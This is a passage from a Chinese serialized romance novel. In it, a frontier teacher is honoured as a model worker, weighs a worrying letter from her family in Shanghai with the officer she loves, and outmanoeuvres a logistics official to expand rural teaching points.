她知道,无论未来走到哪里,走多远,畜牧连,启明小学,将永远是她内心深处的牵挂和支撑。这次归来,更像是一次充电,让她积蓄了力量和决心去迎接前方的天地和挑战。 在畜牧连待了两天,舒染将学校的事务细细地向王大姐做了交代,又去牧区走访了老阿肯和图尔迪家,看了看在牧区的学习的孩子的情况。一切都安排妥当,离回师部的日子也到了。 第二天清晨,舒染拎着简单的行李站在连部门口等车。她已给师部打了报告,希望能搭个顺风车去回去。 王大姐和李秀兰都来送行,脸上满是不舍。 “经常回来看看我们!”王大姐给她理了理衣领。 “舒老师,路上小心。”李秀兰话不多,把一个小布包塞进舒染手里,“新做的鞋垫,走路舒服点。” 舒染一一应下,心里暖融融的。 就在这时,一阵引擎声由远及近,不是常见的破旧卡车,而是一辆半新的军用吉普车,卷着烟尘停在了连部门前。 车门打开,跳下来的正是陈远疆。他脸上没什么表情,只有目光在触及舒染时柔和了一瞬。 “陈副处长?”舒染有些意外,“你怎么来了?” 陈远疆先是对着闻声出来的刘书记和马连长打了个招呼,“刘书记,马连长。师部有紧急文件需要送达团部,我路过畜牧连,正好看到舒染同志在这里等车。” 他这话说得仿佛真是纯粹的巧合。 刘书记和马连长自然是满脸笑容:“哎呀,那正好!正愁舒染同志怎么去师部呢!陈副处长您这可真是及时雨!” 陈远疆这才像是刚注意到舒染手里的行李,自然地伸手接过,放到了吉普车后排。 “上车吧。”他拉开副驾驶的车门。 舒染看着他那副“我只是严格执行公务顺便捎带你”的严肃模样,心里又好气又好笑。 她跟王大姐和李秀兰道了别,又对刘书记和马连长点了点头,这才坐进副驾驶。 陈远疆利落地关上车门,绕到驾驶座,发动引擎。 车子驶离连队,将送行的人们和那片熟悉的土地渐渐抛在身后。 直到连队的轮廓消失在视野里,陈远疆紧抿的唇角才放松了一些。 “事情都安排好了?”他目视前方,状似随意地问。 “嗯。”舒染应了一声,偏头看他的侧脸,“陈副处长这路过,可真是够巧的。师部到团部的路,好像不经过我们连队门口吧?” 陈远疆握着方向盘的手紧了紧,喉结滚动了一下,才别别扭扭地吐出几个字:“绕了点路。” 舒染忍不住弯起了嘴角,也不再戳穿他。她靠在椅背上,看着窗外飞速掠过的戈壁滩,心里莫名地安定。 车内陷入了沉默,却并不尴尬。只有引擎的轰鸣和窗外呼啸的风声作伴。 过了一会儿,陈远疆像是想起了什么,空出一只手,从座位旁边拿出一个军用水壶,递给她:“喝点水。” 舒染接过,拧开盖子,里面是温热的开水 “谢谢。”她轻声说。 “不许这么客气。”他注视前方的眼神又柔和了一分。 戈壁滩上的路况复杂,有时是颠簸的土路。在一个急转弯处,舒染身体歪了一下。 几乎在同一时间,陈远疆的右手迅速伸过来,极快地在她胳膊上扶了一把,随即又重新握住方向盘。 舒染心里那点因为离别而产生的愁绪,瞬间被驱散了。她转过头,假装看向窗外。 这个面冷心热的男人啊。 第128章 舒染和陈远疆的关系, 在师部也算是半公开的秘密。 两人都忙,见面时间不多,但默契渐深。有时是食堂一个心照不宣的眼神, 有时是深夜她办公室亮着的灯,他会默默送来的东西。他虽然话少, 但行动却越来越细致。 这天,舒染收到兵团教育处的正式通知,她被评为兵团年度劳动模范, 并要求她准备材料,参加不久后在兵团司令部举行的表彰大会。 消息传来,师部的同志们虽然明白这是很高的荣誉,但却不意外。 孙处长亲自向她表示祝贺, 连林副政委也难得地对她露出了笑容。 晚上, 陈远疆来到她的宿舍, 手里提着一个网兜, 里面装着一些吃食。 “给你的。”他放下东西, 看着她, 眼神里有一闪而过的忧虑。 “怎么?怕我去了兵团,就看不上你这师部的陈副处长了?”舒染故意逗他。 陈远疆眉头一皱:“胡说什么。”他顿了顿, 语气认真起来,“兵团司令部, 情况更复杂。我担心你……” “我知道。”舒染从网兜里拿起一个苹果,在手里掂了掂, “就是去领个奖, 介绍经验,又不是不回来了。” 陈远疆看着她亮晶晶的眼睛,知道她心里对更大的舞台是有渴望的。他沉默片刻, 说:“我争取带队负责表彰大会期间的安保工作。” 舒染动作一顿,抬头看他:“能行吗?” “问题不大。”陈远疆语气笃定,“按照规定,这种大型活动,本来就需要师一级保卫处派人协助。” 舒染心里一暖,知道他是想在她身边,在她可能面对风浪时给她支撑。她没有拒绝,点了点头:“好。” 出发的前一晚,陈远疆帮她检查行李,把可能用到的证件、材料一一理好。 “早点睡。”他看着她眼下的青黑,叮嘱道。 “嗯。”舒染应着,目光却落在窗外。兵团司令部等待她的,是认可,还是挑战? 她不知道。但她知道,无论前方是什么,她都会去闯。她不再是那个刚刚穿越而来惊慌失措的舒染了。 通往兵团司令部的路途遥远而颠簸。几辆吉普车组成的车队在苍茫的戈壁与偶尔掠过的绿洲间穿行。 舒染和陈远疆不在同一辆车,但知道他的车就在队伍前面或后面,这种认知让她心下安定。 抵达司令部所在地时,已是傍晚。 这里的规模远非师部可比,楼房更高,街道更宽,来往的车辆和人员也带着一种更急促的节奏。招待所的条件好了不少。 舒染刚安顿下来,房门就被敲响了,是陈远疆。 “走吧,先去熟悉一下会场和食堂位置。”他眼神在她脸上停留了片刻,确认她状态尚可。 两人走在司令部大院的水泥路上。偶尔有穿着军装的人经过,陈远疆会不动声色地稍微侧身,将舒染护在靠里的位置。 “明天上午是大会开幕和第一批表彰,你的发言安排在下午。”陈远疆低声交代,“台下坐的,可能有很多大领导。别紧张,就像你在师部汇报那样讲。” “我知道。”舒染深吸一口气,空气里带着陌生的城市气息。 第二天,表彰大会在司令部大礼堂举行。红旗招展,气氛庄重热烈。 舒染坐在台下靠前的位置,看着主席台上那些以往只在文件和传闻中听到的名字,手心微微出汗。 她知道陈远疆一定在会场某个角落,履行着职责,也关注着她。 当听到念到她的名字,“……来自XX师,扎根边疆,在艰苦条件下创造性地开展扫盲和基础教育工作的舒染同志,荣获兵团劳动模范称号!”时,心心里还是激动得扑通扑通地跳。 她站起身,在掌声中稳步走上主席台。 她接过那本奖状和一奖章,向台下鞠躬。 那一刻,她看到的不是高官显要,而是畜牧连孩子们的眼睛,是许君君、王大姐、李秀兰的脸,是戈壁滩上迎风飘扬的国旗。 下午的经验分享会,舒染脱稿演讲。她讲述启明小学从无到有的艰辛,讲述流动教学点在牧区、在连队上发生的变化,讲如何利用一切可利用的资源,如何发动群众,如何将教育与生产生活紧密结合。 她的讲述生动,充满了生命张力,与前面几位照本宣科的汇报形成了鲜明对比。台下不时发出会意的轻笑,然后是更热烈的掌声。 她看到几位坐在前排的领导频频点头,交头接耳。 发言结束,她再次鞠躬致谢,坦然接受着各方投来的目光。 会后,有不少人围过来与她交流,询问具体细节。舒染从容应对,不卑不亢。 晚上,司令部举行了招待晚宴。舒染作为劳模代表,被安排在主桌附近。席间,一位中年男子端着白酒杯走了过来。 “舒染同志,你的发言很精彩。”他微笑着,“我是兵团政治部的张主任。” 舒染连忙起身。这可是兵团的核心领导之一。 “张主任,您好。”她保持镇定。 “你提出的那些方法,很有成效。”张主任和她碰了碰杯,“兵团建设,不仅需要能发展生产的战士,也需要像你这样普及文化的人才。好好干,未来舞台还很大。” 这像是一种暗示。舒染心里有些激动,面上依旧谦逊:“谢谢领导鼓励,我会继续努力。” 张主任点点头,又勉励了几句,便离开了。 晚宴结束后,舒染心情仍难以平静。她独自走到招待所楼下,想吹吹风。 身后传来脚步声,她不用回头也知道是谁。 陈远疆走到她身边,沉默地陪她站着。 “听到了?”舒染轻声问,指的是张主任的话。 “嗯。”陈远疆应道。 “张主任的话,意味着什么,你明白吗?” 舒染转过头,对上他的目光。她当然明白。更高的平台,更重的担子,也可能是更远的分离。兵团司令部,和师部,和畜牧连,是完全不同的世界。 “如果……有调令下来,让你留在司令部,或者去更重要的岗位……”陈远疆的声音有些干涩,后面的话没有问出口。 他知道她的抱负。 舒染没有立刻回答。她抬头望向空中的银河,那星河如同她此刻的内心和未来的前路。毋庸置疑,她想要更大的舞台。 就在陈远疆以为她不会回答时,舒染却忽然伸出手,轻轻勾住了他垂在身侧的手指。 陈远疆在舒染触碰的瞬间,手指颤抖了一下,随即紧紧反握。 “陈远疆,”舒染的声音很轻,“无论未来怎么样,我都会记住这一刻。” 在皎洁的月光下,舒染露出冲他笑了笑,那笑容里,有智慧,有野心,有计算,也有一份独属于他的温柔。 陈远疆凝视着她,紧握的手没有松开,仿佛握住了不确定的未来。 兵团表彰大会结束,舒染和陈远疆回到了师部。 师部上下对她的态度又有了变化。孙处长找她谈话的次数更多了,内容不再局限于具体工作,偶尔会问及她对全兵团教育发展的宏观看法。 林副政委遇见她,也会停下脚步,说两句勉励话,眼神却比以往更深沉。 杨振华则似乎彻底放下了那点心思,见面时客气而疏远,公事公办。 舒染不动声色,更加勤勉地投入工作。她将兵团之行的见闻和思考融入报告,对试点工作提出了更高的要求,同时也更注重收集数据,完善档案,每一步都力求走得扎实,不留把柄。 这天下午,她正在办公室核对各教学点报上来的学员进步情况统计表,机要室的小王探头进来:“舒干事,有你的信,上海来的。” 上海?舒染心里有不太好的预感,面上却不动声色,接过那封信。 “谢谢。” 待小王离开,她捏着信封,,没有立刻拆开,而是将其随意地夹进了一叠待处理的文件里,仿佛那只是无关紧要的一份公函。 她重新拿起钢笔,试图将注意力拉回到工作内容上,但思绪有些纷乱。 她最终还是放下了笔,拿起那叠文件,包括那封信,起身走向窗边,假装需要更好的光线核对。 她走到窗边,背对着办公室外的其他人,拆开了信。 信里的内容,让她的心情瞬间灰冷下来。 信的前半部分依旧是那些带着关切的套话,询问她的身体、工作,叮嘱她好好生活。但后半部分的文字变得隐晦:“……近来家中常有旧友来访,问及你在边疆情况,尤重你与当地人士往来……听闻你工作颇有成绩,此固是好事,然树大招风。你父近日精神不济,常念及你,盼你一切以稳妥为上,切莫行差踏错,授人以柄……另,有昔年世交廖家伯伯,其子廖承留学归来,目前在首都某部委任职,青年才俊,前途远大,偶问起你,似有……” 舒染瞬间读懂了这封家书背后的潜台词:她在边疆的动静,已经引起了某些人的注意,甚至可能牵动了上海那边的家庭关系。父母在恐慌,恐慌她这个成分不好的女儿再惹出什么祸事,连累家族。而最后提及的那个廖家,意图再明显不过——如果她肯回来,通过一桩婚姻,或许还能找到一丝庇护,或者至少,划清界限。 舒染以为自己远离了上海的是非,扎根边疆就能凭借能力开辟一片天地,没想到,原主的原生家庭不是那么好切割的。 她将信纸折好塞回信封,脸上没有任何表情,只有眼底深处的晦暗。 不能让人看见,尤其是……他。 “舒染。”陈远疆的声音在门口响起。 她猛地回过神,转过身,脸上已恢复平静。“陈副处长,有事?” 陈远疆没有立刻回答,而是迈步走了进来,反手轻轻带上了门。 他的目光在她脸上停留了几秒,然后落在她刚才藏信的裤兜位置,那里还有褶皱的痕迹。 “怎么了?”他问。 “没什么。”舒染维持着笑容,甚至刻意耸了耸肩,“家里来的信,絮叨些琐事。” 陈远疆没有说话,只是往前走了一步。他看向她的裤子口袋。 他语气里透着明显的不信,“什么琐事,让你刚才背对着人,手抖得连信纸都拿不稳?” 舒染下意识地想把口袋捂得更紧,但这个动作在陈远疆眼里显得欲盖弥彰。 “你看错了。就是些家长里短,女人家的事,不方便说。” “女人家的事?”陈远疆的眉头皱了一下,又近了半步,看向他的眼睛:“舒染,看着我。” 舒染只能抬起眼与他对视。他的眼神仿佛又回到了第一次见的时候。 “是家里……出了什么事吗?” 陈远疆几乎能肯定,那封信里提到的绝对不是那么简单的琐事。 舒染知道瞒不过他。她了解他的敏锐,一种破罐破摔的情绪涌上来,她最终还是掏出信拍在了他怀里。 “看吧看吧!”她扭过头,看向窗外,“反正……也没什么见不得人的。” 陈远疆接过那封有些褶皱的信,展开,快速浏览起来。他看得很快,眉头随着阅读的深入而越皱越紧。 他很快看完了全部内容,将信纸按原折痕折好,塞回信封,然后递还给舒染。整个过程,他的脸色都不太好。 舒染接过信,塞进口袋,依旧不看他,只闷声问:“看完了?满意了?” 陈远疆没有回答她的问题,而是盯着她的侧脸,语气硬邦邦地问:“这个廖承,怎么回事?” 舒染没好气地说:“小时候见过几面,早没联系了。” “留学归来,部委任职,青年才俊。”陈远疆重复着信里的词句,语气带着一股酸意,“倒是挺为你着想。” 舒染终于转过头看他,反而有点想笑。她故意道:“是啊,听起来是比某些成天在边境线上跑、一身硝烟味、话都不会说几句的人强点。” 陈远疆的脸色瞬间更黑了,胸口明显起伏了一下。他逼近一步,几乎贴到她面前,“你……” 他靠得太近。舒染的心跳漏了一拍,但嘴上不肯服输:“怎么?陈副处长这是只许州官放火,不许百姓点灯?许你审问我,不许我实话实说?” 陈远疆盯着她看了足足有五六秒,眼里情绪翻涌。最终,他压下了所有情绪。 “我知道了。”他说完转身就往外走。 “喂!”舒染感觉自己说的有点过,赶紧叫住他。 陈远疆停在门口,手握着门把,没有回头。 舒染看着他那梗着脖子的养子,心里软了一下,叹了口气,声音低了下来:“陈远疆,我不是那个意思……这信,我只是不想让你担心。” 陈远疆依旧没回头,但握着门把的手稍稍松了些。 “我知道。”他闷声说,停顿了片刻,又道,“你先忙,晚上下班我去找你。” 第129章 晚上, 陈远疆如约而至,手里拎着一兜苹果。 舒染把他让进宿舍,关上门。 两人相对而坐, 气氛有些微妙。 舒染给他倒了杯水,推过去。 陈远疆接过杯子, 没喝,目光落在她脸上,率先打破了沉默:“下午……我态度不好。”他承认得干脆, 声音有些低。 舒染摇摇头,表示压根没放在心上。 陈远疆没纠缠这个,直接切入主题:“信的事,你怎么打算?” 他没有纠结于廖承, 而是直接问她的打算, 这让舒染松了口气, 也意识到他下午的醋意或许只是一种情绪化的表象, 他更关心的是她面临的困境。 “我能怎么打算?”舒染苦笑一下, “信里的意思很明白, 家里怕我树大招风,连累他们。那个廖承, 不过是他们稳妥的办法,毕竟他们不知道你, 而且,对他们来说, 廖承现在在首都某部委任职, 根正苗红的,也许能在……在可能的风雨波及前,保住他们。”她谨慎地选择着措辞。 陈远疆敏锐地捕捉到了那个词, 眉头微蹙:“风雨波及?” 舒染暗道不好,赶紧打了个马虎眼:“就是……也许未来总会有一些艰难的时候吧,我猜的,他们可能也是未雨绸缪。” 她说着,语气带上了一丝委屈,“我只是不明白,按理说,我在边疆做出成绩,政治上获得认可,对家里应该是好事,为什么他们反而更害怕了?我走得越高,他们越恐慌。” 陈远疆沉默了片刻,似乎在组织语言。他放下杯子,眼神变得沉静,带上了一种洞悉世事复杂的透彻。 “舒染,你把事情想简单了。你家里的问题,不在于你做得不够好,而在于你做得太好,而且太快了。” 舒染怔住:“什么意思?” “你想想,”陈远疆身体微微前倾,耐心分析道,像是在给手下的兵分析敌情,“一个资本家家庭出身的子女,到了边疆,如果只是按部就班、泯然众人,或者稍有进步,那说明这种方式的脱离成分问题是有效果的,是稳妥的,符合预期的。但你呢?” 他看着她,目光如炬:“你创办学校,扫盲成效显著,得到连队、师部甚至兵团的表彰,成了典型,被大领导点名。这意味着什么?” 舒染顺着他的思路往下想,眉头越皱越深。 “这意味着,你不再被轻易掌控了。”陈远疆一针见血,“你拥有了超出他们预期的声望和影响力。这对于你上海的家人来说,不是福音,反而是最大的不确定性。” 他进一步解释道:“你越突出,盯着你的人就越多。你的家庭成分就像一颗地雷,平时埋着没事,可你一旦站到太阳底下,就随时可能被人挖出来踩响。他们怕的不是你平庸,而是你耀眼带来的风险。任何一点关于你过去的成分问题,都可能被无限放大,不仅毁了你,更会牵连他们,让他们的处境雪上加霜。” 舒染思索着。她来自后世,习惯了个人奋斗就能改变命运的逻辑,却低估了这个特殊年代成分问题如影随形的杀伤力,以及连坐的残酷性。她之前的顺风顺水,某种程度上是依靠了兵团的环境和她确实拿得出手的实绩,但这层保护罩并不是坚不可摧的。 陈远疆继续分析着,语气放缓了些,“你家里的恐慌,未必全是怕你连累他们,也可能……是怕你脱离了他们的庇护。你在这里成就越大,就离他们就越远。那个廖承,也许是他们认知里最安全的选择——你回到他们熟悉的圈子,通过婚姻获得庇护。而你现在走的路风险太大,他们不理解,也不敢赌。” 他最后总结道:“所以,他们不是不希望你好,而是不希望你以这种他们无法预料和控制的方式‘好’。他们想要的是稳妥,哪怕平庸;而不是风口浪尖上的辉煌。” 一番话剥丝抽茧,让舒染醍醐灌顶。她看着他的眼睛,低声说:“还是你考虑得深远。我……我之前确实没想这么深。” 陈远疆别开视线,拿起杯子喝了口水。“见得多了。现在你明白了?” “明白了。” 她拿起一个苹果递给他,“吃个苹果吧,看起来挺甜的。” 陈远疆接过苹果,在手里掂了掂,忽然没头没尾地问了一句:“那个廖承……他见过戈壁滩上的星星吗?” 舒染愣了一下,随即反应过来他这拐弯抹角的醋意还没完全消散,忍不住笑了出来。 “大概……没有吧。”她笑着回答,眼波流转,故意拖长了调子,“我们都好久没见了,下次我帮你问问?” 陈远疆捏着苹果的手指微微收紧,“不用问。” 他声音闷闷的,带着点自己都没察觉的赌气意味,低头又啃了一大口苹果,咀嚼得有些用力,仿佛跟那苹果有仇。 舒染看着他这别扭样子,心里那点促狭更盛。她凑近了一点,“怎么不用问?说不定人家廖承同志,在国外留学的时候,用天文望远镜看过星云呢。不比咱们这戈壁滩上的星星看得清楚?” 陈远疆的眼神里像是窜起了两簇火苗,“望远镜看的,不一样。” 他往前逼近一步,带着一种近乎固执的认真,一字一顿地说:“戈壁滩上的星星,得用眼睛看,用心看。得是……是像我们这样看。” 舒染被他这认真的样子弄得怔住了,脸上的笑意微微凝住。 陈远疆看着她愣神的模样,像是意识到自己话说重了,气势瞬间矮了半截。他有些不自然地别开脸,耳根那点红晕蔓延到了脖子,声音也低了下去:“我的意思是……他没见过,就算了。没必要知道。” 气氛终于缓和下来。舒染也拿起一个苹果吃起来。 “那……我该怎么回这封信?”舒染把话题拉回正轨,语气里带着征询。 不知不觉间,她已经将他视为了可以共同面对难题的人了。 陈远疆思索了一下,说道:“回信要写。报喜不报忧,说说你在师部的工作进展,受到的重视,强调组织对你的信任和培养。语气要积极,但要平淡,别提太多具体的荣誉,暂时不要提劳模和可能的上报。” 他顿了顿,补充道:“关于……个人问题,你可以提一句已有稳定对象,是根正苗红的兵团干部,正在接触了解,让家里不必操心。但别提我名字和具体职务。” 舒染仔细听着,点了点头。这样回信,既安抚了家里,展现了她的对家里来说是“稳妥”的,也隐晦地拒绝了家里的安排,还顺便……官宣了一下?她抬眼看他,他耳根似乎有点红。 “至于以后,”陈远疆的声音严肃起来,“走一步看一步。你立身越正,工作越扎实,手里的成绩越多,就越安全。真到了那天……” 他没说下去,但眼神里的坚定让舒染明白,他不会让她一个人面对。 “我知道。”舒染感觉心里踏实了不少,“我会把工作做得更好,谁也挑不出错处。” 苹果吃完,两人又聊了几句工作上的琐事。陈远疆看了看窗外,站起身:“不早了,你早点休息。” 舒染送他到门口。他拉开门,脚步顿了一下,回头看她,“以后再有让你为难的来信,可以拿给我看。” 舒染心里一暖,嘴上却故意道:“怎么?陈副处长还要审查我的家信啊?” 陈远疆被她噎了一下,瞪她一眼,没好气地说:“怕你犯傻,我走了!” 说完,不等舒染反驳,大步流星地走了出去。 舒染看着他的背影消失,关上门。家书带来的阴霾被他的陪伴驱散了不少。她走到桌边回起信来。 * 接下来的日子,舒染将家书的事暂且压下,全身心投入到工作中。 孙处长看了舒染有关流动教学点的建议稿后,大为赞赏,便让她准备在即将召开的全疆教育工作交流会上发言。 这消息一出,教育科里几位资历更老的干事脸色就有些微妙。 吴建国在茶水间碰到舒染,皮笑肉不笑地说:“小舒科长真是年轻有为啊,这速度,我们这些老家伙拍马都赶不上。” 他把“小舒科长”四个字拎了出来。舒染现在只是干事,离副科还差着级别。 舒染端着搪瓷缸子,不慌不忙地接热水,脸上挂着恰到好处笑容:“吴干事您过奖了,都是孙处长领导有方,还有科里各位前辈之前的经验打底,我不过是做了点归纳整理的活儿。到时候发言,还得请吴干事您多提宝贵意见。” 她态度摆得低,话也说得漂亮,吴建国一拳打在棉花上,没再说什么,转身走了。 舒染看着他的背影,心里门儿清。她升得太快,又得了这么大露脸的机会,难免招人眼红。这还只是开始,以后类似的明枪暗箭只怕不会少。 她抿了口水。不怕,只要工作不出错,成绩摆在那里,这些闲言碎语伤不了根基。 交流会前一天下午,舒染正在办公室最后核对发言稿,宣传科的杨振华来了。他如今见到舒染,态度自然了不少,那份情愫似乎真的沉淀为了同事之谊。 “舒染,准备得怎么样了?”杨振华笑着问,“明天我给你特写几张,到时候发通讯稿用。” “差不多了,谢谢杨干事。”舒染抬头笑笑。 杨振华压低了些声音:“听说这次交流会,后勤处的李副处长也会来参加。” 舒染心里一动。李副处长,就是上次在会上质疑她浪费物资的那位,之前是科长现在已经是副处长了。 “他来做什么?”舒染不动声色地问。 “不清楚,”杨振华摇摇头,“可能是涉及后续推广的物资保障吧?你明天发言的时候,注意点措辞,尤其是涉及经费和物资的部分,尽量说得……委婉些。” 这是善意的提醒。舒染领情地点点头:“我明白,谢谢。” 杨振华走后,舒染看着稿子,沉思起来。李副处长上次没占到便宜,这次又来,恐怕不是单纯听会那么简单。她拿起笔,在几个关于物资需求的数据下面划了线,心里有了计较。 下班时,她在办公楼门口遇到了显然是特意等她的陈远疆。 “明天开会?”他并肩和她往外走,低声问。 “嗯。”舒染点头,把杨振华提醒的话告诉了他。 陈远疆听完,点点头:“知道了。你照常准备,该怎么说就怎么说。” 舒染侧头看他:“你不会又要在会上跟人拍桌子吧?” 陈远疆斜她一眼:“我是那么不讲道理的人?” 舒染心想你讲起道理来更吓人,嘴上却笑道:“陈副处长最讲原则了。” 陈远疆似乎被这话取悦了,嘴角弯了一下,很快又绷住。“吃饭去?” “好。” 第130章 两人去了食堂, 打了饭,找了个角落的位置坐下。如今他们一起吃饭已是常事,师部的人大多见怪不怪, 只是偶尔还会有好奇的目光扫过来。舒染泰然自若,陈远疆更是直接无视。 吃饭时, 陈远疆状似无意地提起:“保卫处小李,他小舅子上次想批条子被我卡了。” 舒染夹菜的筷子一顿,立刻明白了。原来源头在这里。李副处长不敢直接找陈远疆的麻烦, 就把火撒到了她身上。 “怪不得。”舒染哼了一声,“这是找补到我头上来了。” 陈远疆扒了口饭,语气没什么起伏:“你不用理会。你的工作扎实,他挑不出大错。最多在会上阴阳怪气几句, 你当没听见。” 舒染却没那么乐观。明枪易躲暗箭难防, 李副处长管着后勤, 以后开展工作, 少不了要跟他打交道, 总不能次次都让陈远疆去硬顶。 她慢慢嚼着馒头, 心里盘算开来。硬碰硬不行,示弱更不行, 得想个办法,既能把事情办好, 又能让这李副处长有火发不出,甚至还得支持她。 第二天, 教育工作交流会准时召开。各代表、相关科室负责人都到了, 会议室里坐得满满当当。 舒染看到李副处长果然坐在前排,正跟旁边的人说着什么,眼神偶尔扫过她这边, 带着点冷意。 主持人开场白后,便让舒染做主要发言。 舒染站起身,走到讲台前。她目光扫过台下,在陈远疆身上短暂停留了一瞬——他坐在靠后的位置正看着她。 她开始了她的报告。 她从小学的创办,到扫盲班的推进,再到教学点的探索,一个个事例,一组组数据,将边疆教育工作的意义和成效展现在众人面前。 讲到物资需求时,她特意停顿了一下,台下不少人都竖起了耳朵,李副处长也坐直了身子。 舒染不慌不忙,话锋一转:“当然,我们也充分认识到,在当前条件下,全面铺开面临着物资和经费的现实困难。所以,在试点过程中,我们特别注重挖掘内部潜力,提倡勤俭办学。” “我们算了一笔账,”舒染拿出准备好的另一份简报表,“如果采用这种勤俭办学的模式,在全师初步推广十个流动教学点,所需新增的物资采购费用,可以控制在最初预算的百分之三十以内。而且,很多物资可以就地取材,反复利用,大大降低了后续维护成本。” 台下响起一阵窃窃私语。孙处长脸上露出了赞许的笑容。李副处长眉头皱了起来,似乎没料到舒染会来这一手。 舒染看向李副处长,语气诚恳:“李副处长,后勤处的同志们工作非常辛苦,要保障全师各方面的物资供应。我们教育口也不能一味等靠要,增加兄弟部门的负担。这份勤俭办学的方案,还需要后勤处的各位专家帮我们把把关,看看哪些地方可以做得更好,更节约。” 她都这样说了,李副处长要是再咬着她浪费不放,就显得无理取闹了。 果然,李副处长张了张嘴,脸色变了几变,最终在孙处长目光下,勉强挤出一句话:“嗯,舒染同志这个思路……很好,值得提倡。后勤处一定支持。” 舒染心里松了口气,“谢谢李副处长支持。” 她继续往下讲,提出了一个更关键的建议:“为了更有效地利用资源,避免重复建设和浪费,我建议,由师部教育科牵头,联合后勤处、宣传科,成立一个资源协调小组,定期沟通需求,统筹物资调配,共享教学经验。这样既能提高效率,也能确保每一分资源都用在刀刃上。” 这个建议等于是在制度层面把后勤处拉了进来,不再是教育科单方面申请物资,而是变成了几个部门协同工作。李副处长如果再暗中使绊子,那就是破坏协作,责任就在他了。 孙处长立刻表态:“这个建议很好!我看可以尽快落实。老李,你们后勤处没问题吧?” 众目睽睽之下,李副处长只能点头:“没问题,配合教育科工作是我们应该做的。” 舒染的发言在掌声中结束。她走下讲台,感觉后背出了一层薄汗,但心里却异常畅快。 散会后,人群陆续往外走。陈远疆等在门口,看她出来,递给她一个军用水壶。 “喝点水。”他言简意赅。 舒染接过来,拧开盖子喝了几口,抬头冲他笑了笑,带着点小得意,低声道:“怎么样?” 陈远疆看着她亮晶晶的眼睛,移开目光,看着前面熙攘的人群,表面神色如常,语气中带着一丝宠溺:“还行。” 两人随着人流往外走去。 资源协调小组很快成立起来。第一次例会,气氛有些微妙。李副处长派了个科长来参加,自己没露面。那科长态度客气但透着疏离,对舒染提出的物资清单,反复强调困难,要求再压缩、再看看。 舒染早有准备,她把那份勤俭办学的方案又详细解释了一遍,重点突出了如何用最少的钱办最多的事。宣传科的杨振华也在场,帮着说了几句,强调这事的政治意义和宣传价值。 那科长见挑不出什么大毛病,这才勉强在初步意向清单上签了字。 “舒染同志,不是我们后勤处不支持工作,实在是家底薄啊。”散会后,那科长打着官腔,“这批东西,我们尽量筹措,但时间上不敢保证。” 舒染笑着送他出门:“理解,完全理解。辛苦科长了,我们这边也会再想想办法,尽量减轻后勤处的压力。” 送走后勤处的人,杨振华对舒染竖了下大拇指:“厉害,以退为进。” 舒染摇摇头:“没办法,逼出来的。”这只是第一步,真要把东西落到实处,后面还有得磨。 让她没想到的是,几天后,陈远疆晚上来找她,递给她一张单子。 “这是什么?”舒染接过来一看,是一份物资清单,上面列着一些物资的数量,后面还标注了可能的来源——某个团部仓库的积压品,需要修缮;某个连队后勤点淘汰下来的旧物,可以申请调剂。 “你……你怎么弄来的?”舒染惊讶地抬头看他。这些东西,正是她那份清单里比较难搞的部分。 陈远疆神色如常,仿佛做了件微不足道的小事:“我在各处看了看。这些地方的东西,放着也是放着,打报告申请调剂,理由正当,问题不大。”他顿了顿,补充道,“别声张。” “谢谢。”她轻声说。 陈远疆看了她一眼,“不许和我客气。” 有了陈远疆提供的信息,舒染再次去找后勤处那位科长时,就从容多了。她不再空泛地要求支持,而是精准地提出了需求点和替代方案,甚至表示教育科可以派人参与部分旧物的修缮工作。 那科长显然没料到舒染对下面的物资情况这么了解,态度收敛了不少,协调效率也提高了。虽然过程依旧磕磕绊绊,但第一批用于扩建三个新流动教学点的基本物资,总算是在半个月后陆续到位了。 舒染立刻行动起来,带着抽调来的两名干事和几名从畜牧连借调来的有点木工基础的学生家长,投入了教学点的筹建工作。选址、协调当地连队和牧区、带着人亲手搭建简易棚屋、制作课桌板凳……事无巨细,她都亲自盯着。 戈壁滩上风沙大,太阳毒,几天下来,舒染的脸就晒脱了皮,手上也磨出了水泡。跟她一起下来的干事私下叫苦不迭,但看着舒染一个女同志都比他们能吃苦,也只能咬牙坚持。 陈远疆偶尔会到附近远远地看上一眼,从不靠近打扰。有时舒染晚上回到临时借住的地窝子,会发现门口放着已经放凉了的绿豆汤,或者一些吃食。 舒染喝着清凉解暑的绿豆汤,看着天上格外清晰的银河,疲惫的身体里又会生出新的力气。 一个月后,三个新的流动教学点终于初步建成。虽然依旧简陋,但至少有了遮风避雨的地方,有了可以写字的黑板结实的课桌。 开学那天,附近连队的职工和牧区的牧民们,带着孩子聚集在新建的棚屋前。舒染站在讲台上,看着下面的孩子,心里充满了成就感。 她没有讲太多大道理,只是用简单的语言告诉孩子们,在这里可以学会写自己的名字,可以认识数字,可以看懂工分本,可以听懂广播里更多的故事。 第一个教学点由一位年轻干事负责常驻。舒染亲自上了第一堂课,教他们认常用字,教他们科学常识。孩子们学得认真,跟读声和着戈壁的风声传出去很远。 另外两个教学点,一个请了当地连队一位读过初中的家属做代课老师,另一个则由教育科的另一位干事轮流跑。师资依然是最大的短板,但总算迈出了从无到有的第一步。 忙完这三个教学点的初期搭建和授课,舒染回到师部,人瘦了一大圈,但精神头却很好。她着手整理这次扩建的经验,特别是如何在物资匮乏条件下高效利用资源、如何调动当地力量参与办学等,形成了详细的报告。 孙处长看了报告,非常满意,特意在科务会上表扬了舒染,并决定将这份经验材料下发各团参考学习。 舒染在师部教育系统的地位进一步稳固。 这天,舒染正在办公室抄写材料,门卫室小伙跑来,说有个叫阿迪力的牧区少年来找她。 舒染愣了一下,赶紧放下笔跑了出去。 师部门口,风尘仆仆的阿迪力牵着一匹马等在那里。 半年多不见,他的个子窜高了,肩膀宽阔,眉眼间的稚气褪去不少。他看到舒染,眼睛一亮,快步迎上来。 “舒老师!” “阿迪力?你怎么来了?”舒染又惊又喜,上下打量着他,“长高这么多!” 阿迪力咧开嘴,露出熟悉的的笑容,“舒老师,我妈妈让我来的。” 他回身从马背上解下一个鼓鼓囊囊的羊皮口袋,递给舒染,“肉干,奶疙瘩,妈妈说带给你。” 沉甸甸的口袋里,是牧民家的心意。舒染心里一热,接过来:“谢谢你的妈妈,也谢谢你,跑这么远。” “不远。”阿迪力摇摇头,随即表情变得有些严肃,他看着舒染,语气带着恳求,“舒老师,我来,有事求你。” “什么事?你说。”舒染引着他往旁边阴凉处走了几步。 阿迪力组织了一下语言,说道:“连队兽医站的刘技术员要带人去各个牧业队,教怎么防羊病,怎么给羊打针。要找个会点汉语、又能跑牧区的帮手。” 